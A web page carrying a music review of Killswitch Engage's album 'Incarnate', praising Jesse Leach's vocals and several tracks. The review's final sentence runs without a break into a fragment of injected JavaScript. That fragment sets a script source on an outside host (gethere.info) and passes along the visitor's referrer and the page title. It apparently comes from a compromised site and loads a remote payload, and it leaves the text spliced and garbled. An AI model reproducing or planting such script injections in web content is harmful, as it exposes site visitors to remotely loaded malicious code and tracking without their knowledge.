By Fraser Bryce
The career path of Killswitch Engage has been riddled with twists and turns. Following the stone cold classic ‘Alive or Just Breathing’, vocalist Jesse Leach gave way to Howard Jones. The resulting albums, one brilliant, two patchy, were followed Jones leaving the band, only for Leach to return and record the frankly incredible ‘Disarm The Descent’ in 2012. The aforementioned album was critically lauded, and the resulting live shows saw Killswitch make a serious claim to be the best live band in metal. So the pressure on Incarnate was sky high.
From the opening seconds, it’s clear that Incarnate is a completely different beast to ‘Disarm the Descent’. While the latter came roaring out of the speakers the moment you pressed play, Incarnate’s opening track ‘Alone I Stand’ builds up in a way that mirrors ‘Numbered Days’ from ‘Alive or Just Breathing’. The track then turns into a standard Killswitch anthem, aside from being in a time signature so horrific I’m 99% sure it contains a decimal point. ‘Hate by Design’ follows in a similar vein, albeit showcasing a more melodic sensibility, while ‘Cut Me Loose’ shows a much doomier side to the band.
It’s at this point I need to mention this album’s MVP. Jesse Leach’s performance on this album is nothing short of incredible. While his voice was amazing to begin with, his screaming has become even harsher and his melodic range has become even more powerful. This is most evident on songs like ‘Just Let Go’ and ‘We Carry On’, which have massive, soaring choruses that Leach tackles with ease.
The quality of Incarnate does not dip even slightly. The moody ‘Embrace the Journey…Upraised’ is a sure-fire contender for a live favourite, and ‘Strength of the Mind’ has classic Killswitch written all over it. The high points of the album come in the form of ‘Quiet Distress’ and ‘Until the Day’; the former going from a soft acoustic intro into breakneck thrash, coupled with another fists in the air chorus; while the latter almost sounds like a leftover from ‘Disarm The Descent’, i.e. fast, catchy and heavy as fuck, all at the same time.
In short, Incarnate has not only lived up to its lofty expectations, it has shattered them completely. While I won’t go as far as saying it’s the best album they’ve ever done – ‘Alive or Just Breathing’ will always hold that title – it’s an easy contender for the top three. With Incarnate, Killswitch have slowed the pace just a little, and thrown in a little bit more of their melodic side, and it has worked hugely in their favour. It’s hard to envision a better metal album being released this year.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;